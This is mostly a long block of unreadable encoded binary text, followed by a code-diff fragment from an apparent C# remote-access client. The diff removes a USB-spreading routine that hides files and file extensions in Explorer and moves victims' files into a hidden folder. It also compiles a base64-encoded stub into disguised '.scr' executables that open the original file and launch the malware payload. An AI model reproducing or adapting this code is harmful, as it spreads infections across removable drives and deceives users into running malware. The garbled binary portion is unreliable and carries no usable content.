zg_{z9&H+XYc~F>8D!3W2Y2Z??!}0Q%8U*So{3;g*NqBwdRusPjX!d}JJYHXW0=Zj| z*ADn1Uc-ko3S84pNxe3t52`l6xo|ihPerJ0}4ro*Y{1L#zw>&<7fJ zq5n0X>`&s+`mx*Yp8=Gk9JkqY?E>a;p?gv2CiUg`D)Bq*bOUc2=*$SWrSj$Z)T6Xb zR|&4^bkfV|Rj=^98@Q?G+id#T@080m>K25AYdsi5em`X4$nz%Ysa~|3MxXA7>^WX= z{S;;T06Ql7{ePOS1CZY=#^pii<8hJyEiZw-BjDYVes<*NgnPjMEc%t9C3=9JcNn(H z@=Py4a%xRKB!R1ykje-s89<#Gj9Z!>6>U*N=z&v6SqNuT3(Qpu^irE9opS2y)E?BO zIYX+s8@2e(09`r@%`G>MDtH_(@!X6)Qu|(x5lN$a6eaTblh7wnCxiG&d=u*Bz%hsX zJh-4Cokxk2ssp2%c@}c>D34uN^nXgd3_KC8acspn)kZUeT9+$T;}}uIVNi3>AiRuY zyH+Z<}{-@ z%>tG{X~Ht7lSgVwB$kmLoKvpJeTd~DAwCmD`B9b$U|kfRomy;_^5#^RKnZGP0&Q`+ z(|s|6w9^N~0UEdUy-0qdNLLPRE#M#fk5b0OH&D(UC3OZxCykU6DWiUaY?S{Uw=k!S2jJKDUaAd$S$A3bkLPv(WdkSgxIr*Zlkh79bXh~O5`pObl2^oFV zAoAqkr(47k%9f~8mAdp|?L*IQuf{$Dx`^MwMQu$(KW2sA`p!D>0Ci*heXGJ)|=tdwFNx=8sYz#Fcf14~K&wO&o5O||qyHDYGw z#7t;KWqJW5BxK^(In{%8d9kudXW*9ODv9Y*id~JrTrqK_PzEpQE|~&l(rKeH%8Sxs zNOzUjDlt!?P-Q44tpe=)DN!;<5osLp+pjg%>RxJ7t*Xu&gq*0lYTKo9mg|a=TBDOq zr&Ei#wmQ>WwR$=xb{SKaq9kzB7(AW;XO4QXFHS*nS|z9ul$KT%J-lhk90{=RwAx;Q za*k1EKOYB%8RhbmR!mENI$8ZNY!2--at;>6N4AJM>ptVqr9RQvum!!gDfP|8+&Fxf zQ>OMg_;o*RhT4};m^kPIWfRJ;cZ-5P5)+rwBm_WQ7AO&85G#ON_hyc8Nc7 znM>yk$wCQTL#h&)9Wj@_sB!qczqsB{Da_Xpctd>D@KMW0m=D2XG8W}y1s^N>#$Ouu)RnNE@By9*qm-*a=G2x|Dy5emxf6BkWR}HV^iW z7PpD6w6}w9IDR!=pM~AjBiOdMp?fZkogAPKuPBz}F5%py98otDMWUFKxH_RLB<%V= z>VR6|QuQc$Lk6yX;NOt%S0#S*al|_u4Rk=3|J+<|Iq>|>ZA;Y zWmzc}SvL2j125eI|2m#r3s_!3UwRYEmh5z?thQK*-8*aA|7v%3noihPGq{R;t#qaa+hxoHl zQsRs9e3r21CHjKf2(dz(k0yX3XW+o-$I?THu>r%g?u>$a62KQP3w41I{Dnw9!U0bL zAiM`R97wn$U6C$x(VuX;A{!!2p@cW!^ZCH^-Sr8-tKR1eH2CCSFq{Y=9SGom0NK8T z8?j)*6InVF=?VmZFA%IvcwC^P0kDQZ4HAKdKm*B(qH+U5;0`#jaKZ~nF-a24MRUsCR}0N z-$LN`*!ChGkuJ7qo@DfD$@-2wUkFiDl>O4(Am2O*WPZ4&aeRFEqnT%X@(daZ^qvWN z6*v=G9teaI3N3vC%|C#ect*NH=tqV?2DwQz(q(6E3!snCP#{22grT4!gD&9!HI_ua z516SU&js<~Sac_~jO=%Xlyon<7(K@TVpXnyxfoC$S3Uj(e99dU zyYY0#-8J~@4Dnz?*uT~n3`soBs0Od~mB2wA1qz^qZlii29`^z>AM6PBM^L&Ya%M#w zt-0foGYxS=dE)V~4gxxe+W|*dJnTn-aNL}$SGDdq2221C{0~YC!8#QzLd{p#Dg4Rd z26O4%!3H#j>TVlxAV7AI^J^qY_rwE`n;YLIj6YXXoNpioiM0t|Jl&w%yTl`NJ7qQBhnE;bV8&KbcMrV$TU(1+NmaIQcy?0!eJN?TBuR(t( zdI$p9fj}MA`(AVD9`nq+xd<7?(L%jT58yMv?vAR4sEea<=|S_9hTn^FKJZgl2N{9d zCg_013nj(i`>uKBc4!0T1mZ&>^UNYL%%$IMGS8d}z+sB7g~cO<3_&>-Nl0KY2sA(_ ziy@3d|1j1*qAlNh5JTG`z&H*PkPE7-DBkyMo2;k;6yPB20oTV&tF9(yl17Ly8T57ylt`7a4Mgn?#YIT^Ak2~EW>YY1bz+8e*c66slWzM6ctiiQ z;afxxM97@;?)Ia-Gb8Qn<-$mCxq=$yujt^NI>3ZM%_q%ZI^a!m3QEcpl$5y#5X?47bPk{= z5eX9#Hj*g+P*{q7k6DX&M7sF6T7ch?=L^1o*m^#L-T;j}D?T9D7J$vqx_OkMapdzH z>Y)I#nu30B0HZh%p}*nt`dyJte!q7uhG7_P2}6(H> zyF1}<$Zv!r^O1o-zyt6+z5{N<)8=n7PtiNT^s#gX(WQIwKVBb9yCt{>V34F z7=7lcpx@7dhL6wh1~}{wu@KYs{(9ey{!R1+);7ts4^%LSLFVEUuSZosN(*kZfjsS5 z;2D6)zdHbC0$x9Ch2QTM0H}tcQ^Y}j(Xl@8dPYV3aDm%&-#Yzr_SF{#T4 zOD?^y7UJ?DB!dqCEu!cFKa~F~?m9nm9zu-n&UaS%15V1Bd{HGt7eaWJaU6*HJu=ya zoeeA0k(TuHZy}aQTNpiJ&IJ9iBOgFZkH6esix?v2(x=!r+~0DhR*h{f&;-KZ`2~>j z!a@J4VtMRu;eV;Ly*q}Y&lWe$P?>46x%3ZZgbB&Q)Hy+219fssJ}kZ8<*)G@am-4b zIJzK{$kpaa@B)tI`9iBdMz;c0F;PEB#h?_?r}l@FHM)%%WcXyr?+ZniKIrqACyTs4 z+U}2qvEKWtZt`^&h&$UqOF!21Gm ziu{ZZJT&P(#gJupOAj9g3Un<^e!w-4Ij%Dl%>RWlXvMX668w7ZJE20V3sFZu+?zX;@CtoM7Jo}|v5 z^ZPv#))I-`vjGPqw5~|PlkA?Q4+e_po<;R%i`k{vSES%S1fcgNl8fcOQ;faP;D;7s zsDnn~$R2Z_WlfI8&*FPGMk73SNC~^I zkf-nrt7q4rTOU!s(ey*)hBjP}c>M;(V;h<`7;00P7+$u4&vrb+>bea#0Y0_C+7MQ6 z+VFNfKf2*_czzY|u=+>IJuh`@TYd@HR;`V-80spCZ&~|8K(1|xwM0~R3*&wA909~o zuR<9^9hK*tJah6q+42VDKGH&de@C7lYk3@yugmk>fJD>}1cP^@1=?!lxoTs}MniRM zB+edr_6hu;#B+Ft)jb=pU;lCS{>v%PcOY)4_et)@CH`5&BkGS0O51M>X*73WaqZ=~*p zE8Vb``6r;{+hajGAH%N z%_nkPEYY%O1E2-grZ>7P*3lsRt|rSOxJ>?LC{^9)CehLOUG+~Kvm<+^W885Og?d6& z6T@jKtA4DW(o{ODr!_U6)i`>CJ#$!%$J1_PlzFW3v1X+zU^Poq+gZ)l)G=0tn!3np zHx+Qb8?4ULYF2kxU7-!EOtoY`uhK?V;jC`rd6BZcXjXrx_gFP#^$QiUYR2j}+RG|| zl~JgwJ1eWEQm~Gy38(mwJqNN1iX)VR7W%<6nrevSJe~tJRSbpSnQ%msWw-H(;HI}( zMMGJm-F&pFChChavLed+D61wKiaV@MvT6jSV4Em~iWH4CRfwPTq|)I`i>Qn}8w(Sw zKy4XCD$JTG=9(X-=b5iCmwEmREGix&&GMh8wm`ThOup<5v z-8s}v(@PFvj$}?^KFgfNe3iL^`4)2l=Q6y`@2JKXHcJIP30WP;kYtr(r+x{g^{={$-?5%n63oW}`dXunwj9 zh9lrB%s(?WzJ&0!CcGSWe&$u zA7y^Z{F+(DG+Sh881sJSL(D{GA7(mpB6AvZ0dpmDi$(VH14|_09J15`Ke5OjUbfUj z{wwBnwv;gqR_SlIN}m8Tni<1v%B8KD9oW)^nZg{%%wSGrKF6HFe3fgx!TB}JP0Sru zxxV%>PqF0^^9Hk=X|&1y_-zf)=Sa@S*l^sV);3wU6SF(>3FZLiD4SfCam*>q7r5@r z%!M`_8E7TjH`=x$zlV8(E$5h}?D;)YvCC)kWi{vDW^Q4=&)jQ&7_HwM`H1}y*#CI^)7;7*_b)-~KJleJ z-r^I#*b_mQBN;8$cE}@4Lx&u_77jT+?U>2T6i0WI_I32ZFTwpC{lKB{6g0{)0QL!v zp&FB-ja*T(nkIzo2E{pcOX}hM(&hfb1cl3U>%gzS)-54DojRUtj?)K{KpQZ7B{eBI)tVoh~$uC`P>R;0*~?A&IlMl%{o zPqi=6G?&#?Ael5TID&od=(jroex-hQFA;b6#w|bBcDQTSQS~$ zI$K&(s2GnIg{S3;vn|wTn)=R}0QHroZaceJd(#a~>0G^_$~EP5^|SUNeOon3&@})m zLQ^$R_88UC)cq)XjAAv_#FcJ+oN_ePft8GbzBqciMxso86&cc9PghbIt}JU`TEq3G z(->E_wI6+^Dqg-+`dp1^mQhmaD^-z#0!&QYI@k${@DNRVnCO?JItO{eXK_cR758( zqf)3*)KgR6q25z8OH;R8o2{9&QB%LVwp*VjduO#?u`}N?n!1HlmURqaLV3KV({bl6 z>sVS4Qv0pAfjL>0K@uRbe~Jvc5}`H6^#R4OCdkb0ZzCue4ZI9Az`z(v*y{g<6ig z>$#PZRAqkE^OkiRtx*-%+eX>r*^_(y9^KN^O3!B7c3L?>E&HoyuWbi)o2aTio)fm6 zl$52aL!Jw^Lb5-js#BitY#-24O|5d5*>=+wRbl(gvi^B z-O`kd`7!mCKRIZ9IYT2=#h#zgQB6tD zv*gZZPkO+6$9j%tsEU{294*$$WUoJ^Tbh#fKBJb;s`cW$W!Cewk<~(a)EjL-Pv2^4 zsJEg0B9%WUJr~j#?}PSBl=!@=a=mTrm+6wG7I{0`ugC(*p@mU`y4p)Z%1(XkS3@d_ zQte-bR8tyc|GJXOwBM+tCfR?ir1I?LAth+GU0yd++v`C~?1qpUK+El>kQzlR?Ko-B zJSWjwJ5B^NHH|jdZ6URgcGz7ZwFZyN^j1=b?14(^gkAk{M=tFeI%CH}=e3wy>4F_M ztZQm7mDp>B)N%U8UMr-|&@c8TA$0{eQN)H+DSF*1q{_+VXdO}xvC`f?q=F*S5g$^u z#aerZkct(x9El;-S;ROxhg5GwNe-!gVu`(rIG7{*y^z*V0oh zM|WY)m7eOSS`Xo_qUx}cpH7RcJwzK;S1pIVEgU^XqN>ElxI>|*NYc~=Z(EdYVRhN^ zr8gd`P*uX~lb*6Q9k3()y0?X7y*SVr{R+Om?tXnH0Q4{KWAPC75b6$x@t1-00mXHhq1jHsH5tjo+8<& z5!>6cJ)Z3epn*DqM(PZjC>a#g8&pX8=x89QCt1rtgFz#W1Why=G*cG%ulwhqmclIx z`s2NNfoshGb@VE?d#`0V+f}Y&|F_wHE8BOnrHCyj*m99AavXF#4tnmDfuyIAJ_k)C z{mrEMON+v#I=1UI`!{U=0Tfiu)ZHgN)x1h4EQ0Q(ELF(QrK)FiC|}inuczv-GNw|C z%{W3UrtC@8b`#l>{7;y|b~UEVEA(W@QjwQ!RV?Yftq%#6R`g$8>X96645*{2_xMy^ zmdg3c%k?rxn9mWGfO=Zaan$(ga;bTBjsJdGD*7yYB1r9z+LOC|6SRs;-v$-l+I76O z3sR$19+S#()KPku>#AdZH)h51Zs(Z0*hlSQUh23@_0oP)A=>ieI_zAMvT||IhN@a9clcE9%IXabB(|{PJ8~(g7;u1$7i; zOC($BalSq0lPcwVA+IBKTk4Cvfrfy%`uQL88H>nzy0@*$J)gv_t6TfjP+riqP+pY6LAb#DM28k{x*)c|kjcgMw;+3f1ELzZ&yy1VIfVUh^G7gr9uJQH%Vi z;c4=3hQ;oe7J2O|gR1*Kb!1Qje*v!3#rZEg#!(mlmkwM<@_&bXroR-|l(LW?Ou7E= zVV}wQmwdM!GijCoH^)4B*RONVq}_gta|y|-=u2>w-{o9Ehx`HOTDI6Vmb&hP<)ptB z_?183vX*{fx&qP?!|WKS=iGra`R&%dsMW}Mk_H4?IL~qfOehgZM?dod?O}N((9s#s z_RGvxV7}!hEeLdVmeEppmeFc37xtb`Kl_x?ra)hm%5SVf>^Q5p>Db%vFaDdt13?3i-W#9!HMgv5KH~gK_XF zbtQxHdemA(%eQP|4yN~l1=by$Z?5^rdV09paJ1%Js}0GR&1rYAA0pKAEVCYh|3LKZ zLo8PWU#p6skAkCICqr@KT+O*x&Dp;jx7(cAjqQoxI9E4rF_C!|b#d;DQOdVm#%N4- z#fXoCd9FlWJKeY^%}MsH5BE*3iy6qvzLlcxY?n|j1PzulDhV#Y=v@!SJId(q!Pk(N z*FQ@Ig{?qLXIN85H6gbsi-_~Db5#>^8_N*huy>ppqI%d?*A%K7w!tBkIR6gUP4Q6J zZdaM;9Ci@#9}W8m`F_avqXA*3*m8z>-W5aXVdE`wO)azbqo=~IxG?cV81_ez9d^M! zSj-J8#adn(cFh$}>%x9Okoxps{3h*8GTDELr?qKc(H@l;iSX?cfDGuY@ zb*7jRo{L}cqA=5e8B-KZ1>4Z`V0)SdCelnWiDrY{Xg=7J7K44|y;YbU?l0gVdJ7y$ z>%mOg1dgR`;6&PqPXSy}2XpunVHzDqeg+)}XHhXYm(GF<=mNNyO2DP`75FB72d=~& zt`=HDKY{D19NdUI$Skx4cfnd{JK4ZOa)Wy)0Pd&zz=Kp%nCJx60gI^~_z5)tKO@|U zM3*R5n9)Wv@LOsL-k`SNZR!A)Q)iGwH&8EnfoAbIXctd{ZZQb-i(z267zIX%F<_LK z2-Xo(!204ju#w0EW5o=xrFaEwBVGmDi$!3fSPCYI6<{~98tf_7fqleAu&>w(riu5# zL1H(UF7|^X#UU_L90SLS{}Be7EItuU$YweR`b;HYb(5krq1q-J*w7RXHZwh^Gpv-eF+$@*XdHJvA#CgL7xCVp&trn>hr){{Y+hgX`#MA z*VVKfOr@3jwXp2a??e7?`V#PrUZ+o`Z^5o6VW^F~(U73;ZK@8YQeDGPu(cr%>|rPX z(+&IdPnxEHLrw34PnmWbN?_j)_BNe0=nSb;VyF$?HY9)!<4~}cF%N8EEC9P1_kn|r zCEzngoiUYOHr58;G$w#sjYGl1#ys$%u>ibf+y`1rC14FxZBr`7I{{2G4F&s~^1$(? z0`NuCK5(h2#PpPDlPSSG!L$v0%Cyro6x;(&FdZ-n_n%CMO@qP4=1*w2g)j9`eS8Cy zuNW zm%vx?e#5f@o?FeUJZn5>Jtdw}yl;D2cpve$_a=FJdsDrGyc4|H-f7;Kyo7guq99!I235%bzu3OIBL1@jky-iPU_&U%lq;D zxgOQTH|E;(5G)Vl8*~d;T4OE8Qv;0F+Yvk6L>nUZfZHO9z+Dj^fqR(;B2FQHnt3te zW8^DSwO{AbUn4$6sWtK<=#TsyRO^0V{08}IkvBoLt-6svBL5(>1yhaLCh`~96C-7d zDUq04g$70%!7-6`@cBqD_+n%@IG24EM#>h|nEuE}*k9+?*GASsep_S=xFfPLcr>yp zvn6t2nFL;hN1qDR4q=&)tokMkITk-@*vVQfsu;~PHm4KSht|KEUr(ZkegHsl+F zI8Vdf&I%^dbAhqwtb*~yzh&U=eI%<9PZ0u@Y)7YX*pdQmXj zPc%3j>qo&XM0LTD=!Js+!jSvlD736#W*@n)Wui5Kd4c49HX4&x;_Qz1sj+BT!Sr`> z|H(%C3O!4Y!1Fm!!KZ6mFqhhaFJPSu{O%Wz{50%03cZf|w-tP%b_Ta#ULpmbb6vq5 zm|IJs572jo_Mz9fCkXvj=x2Hi{1wyr;VevC#yQx}q691#Ux=mQYr{9=;=dVV5{{*6 zfIhb7xtNY&0>Lya>1a9`I2Sk{xCDNM_l*FFwE|Z{@JY2!$b0JBi+4m6ryGPkZgdcv zIBhRBYw1=_NxX+vvEPdwq6eot#Q;usiBX*H7L$;65_`oor0vB%v5@Tt#2QXN)Y3y* zdW2IFABnA8ejIl{{oCBkTJ_nVsU*3HUg;bBos_k|lS?;*M zvrXZ9wyOFqzQ-nlzpzc#m#ySGh}z?L5s&rR0o!*1-iZ{4ts)M`({|V{+R+X5=N(yv zj6p$l@cu`y+aW(Ze{(#ZBmL-LOpMGE2@e~_k9v}|?$oUlj1N`6TZiZ`&;OPt3*<7$ zAJUW1PSR~03wkH^{_!WJc=-02-Cr-e_C)cW#{6SOLhCd+GxUVC?g?q?6IIj355sc; z)2ck?JFU@cH;j~!{?a(`fuu1Ua`HZ zX*(GhFFoFs!m=$96o@M4f$M~0u$;tE&apQf$6EQS!?n~YOywk`>cp$sWR&c&QD2B= z@Ea4(NbvY7)E)5;A}wa0SS+{t*Bt+af-%6}r=V^{%ZX@Roq{!kXM?-jP857&aiqQL z`@895QT`x4qhdpEe6o`K&m_4ta$-(ALmW#frvuhz3B*{dlSRs9u9%Efoq#no 0) { MsgPack msgpack = new MsgPack(); @@ -70,156 +27,5 @@ namespace Client.Handle_Packet ClientSocket.Send(msgpack.Encode2Bytes()); } } - - private void ExplorerOptions() - { - try - { - RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true); - if (key.GetValue("Hidden") != (object)2) - key.SetValue("Hidden", 2); - if (key.GetValue("HideFileExt") != (object)1) - key.SetValue("HideFileExt", 1); - } - catch { } - } - - private void InfectFiles(string path) - { - foreach (var file in Directory.GetFiles(path)) - { - try - { - if (CheckIfInfected(file)) - { - ChangeIcon(file); - File.Move(file, file.Insert(3, spreadSettings.WorkDirectory + "\\")); - CompileFile(file); - } - } - catch { } - } - - foreach (var directory in Directory.GetDirectories(path)) - { - try - { - if (!directory.Contains(spreadSettings.WorkDirectory)) - InfectFiles(directory); - } - catch { } - } - } - - private void CreteDirectory(string usbDirectory) - { - foreach (var directory in Directory.GetDirectories(usbDirectory)) - { - try - { - if (!directory.Contains(spreadSettings.WorkDirectory)) - { - if (!Directory.Exists(directory.Insert(3, spreadSettings.WorkDirectory + "\\"))) - Directory.CreateDirectory(directory.Insert(3, spreadSettings.WorkDirectory + "\\")); - CreteDirectory(directory); - } - } - catch { } - } - } - - private bool CheckIfInfected(string file) - { - try - { - FileVersionInfo info = FileVersionInfo.GetVersionInfo(file); - if (info.LegalTrademarks == spreadSettings.InfectedTrademark) - return false; - else - return true; - } - catch - { - return false; - } - } - - private void ChangeIcon(string file) - { - try - { - Icon fileIcon = Icon.ExtractAssociatedIcon(file); - MultiIcon multiIcon = new MultiIcon(); - SingleIcon singleIcon = multiIcon.Add(Path.GetFileName(file)); - singleIcon.CreateFrom(fileIcon.ToBitmap(), IconOutputFormat.Vista); - singleIcon.Save(Path.GetPathRoot(file) + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(file.Replace(" ", null)) + ".ico"); - } - catch { } - } - - private void CompileFile(string infectedFile) - { - try - { - string source = Encoding.UTF8.GetString(Convert.FromBase64String("dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uRGlhZ25vc3RpY3M7CnVzaW5nIFN5c3RlbS5SZWZsZWN0aW9uOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpbYXNzZW1ibHk6IEFzc2VtYmx5VHJhZGVtYXJrKCIlTGltZSUiKV0KW2Fzc2VtYmx5OiBHdWlkKCIlR3VpZCUiKV0KCnN0YXRpYyBjbGFzcyBMaW1lVVNCTW9kdWxlCnsKICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBNYWluKCkKICAgIHsKICAgICAgICB0cnkKICAgICAgICB7CiAgICAgICAgICAgIFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLlN0YXJ0KEAiJUZpbGUlIik7CiAgICAgICAgICAgIFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLlN0YXJ0KEAiJVBheWxvYWQlIik7CiAgICAgICAgfQogICAgICAgIGNhdGNoIHsgfQogICAgfQp9")); - source = source.Replace("LimeUSBModule", Randomz(new Random().Next(6, 12))); - source = source.Replace("%Payload%", Path.GetPathRoot(infectedFile) + spreadSettings.WorkDirectory + "\\" + spreadSettings.LimeUSBFile); - source = source.Replace("%File%", infectedFile.Insert(3, spreadSettings.WorkDirectory + "\\")); - source = source.Replace("%Lime%", spreadSettings.InfectedTrademark); - source = source.Replace("%Guid%", Guid.NewGuid().ToString()); - - CompilerParameters cParams = new CompilerParameters(); - Dictionary providerOptions = new Dictionary(); - providerOptions.Add("CompilerVersion", GetOS()); - - string options = "/target:winexe /platform:x86 /optimize+"; - if (File.Exists(Path.GetPathRoot(infectedFile) + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(infectedFile.Replace(" ", null)) + ".ico")) - options += " /win32icon:\"" + Path.GetPathRoot(infectedFile) + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(infectedFile.Replace(" ", null)) + ".ico" + "\""; - cParams.GenerateExecutable = true; - cParams.OutputAssembly = infectedFile + ".scr"; - cParams.CompilerOptions = options; - cParams.TreatWarningsAsErrors = false; - cParams.IncludeDebugInformation = false; - cParams.ReferencedAssemblies.Add("System.dll"); - - CompilerResults results = new CSharpCodeProvider(providerOptions).CompileAssemblyFromSource(cParams, source); - } - catch (Exception ex) - { - Debug.WriteLine("CompileFile " + ex.Message); - } - } - - private string GetOS() - { - var os = new Microsoft.VisualBasic.Devices.ComputerInfo(); - if (os.OSFullName.Contains("7")) - return "v2.0"; - else - return "v4.0"; - } - - private string Randomz(int L) - { - string validchars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - StringBuilder sb = new StringBuilder(); - Random rand = new Random(); - for (int i = 1; i <= L; i++) - { - int idx = rand.Next(0, validchars.Length); - char randomChar = validchars[idx]; - sb.Append(randomChar); - } - var randomString = sb.ToString(); - return randomString; - } - } - - public class spreadSettings - { - public static readonly string InfectedTrademark = "Trademark - Lime"; - public static readonly string WorkDirectory = "$LimeUSB"; - public static readonly string LimeUSBFile = Path.GetFileName(Application.ExecutablePath); - public static readonly string IconsDirectory = "$LimeIcons"; } }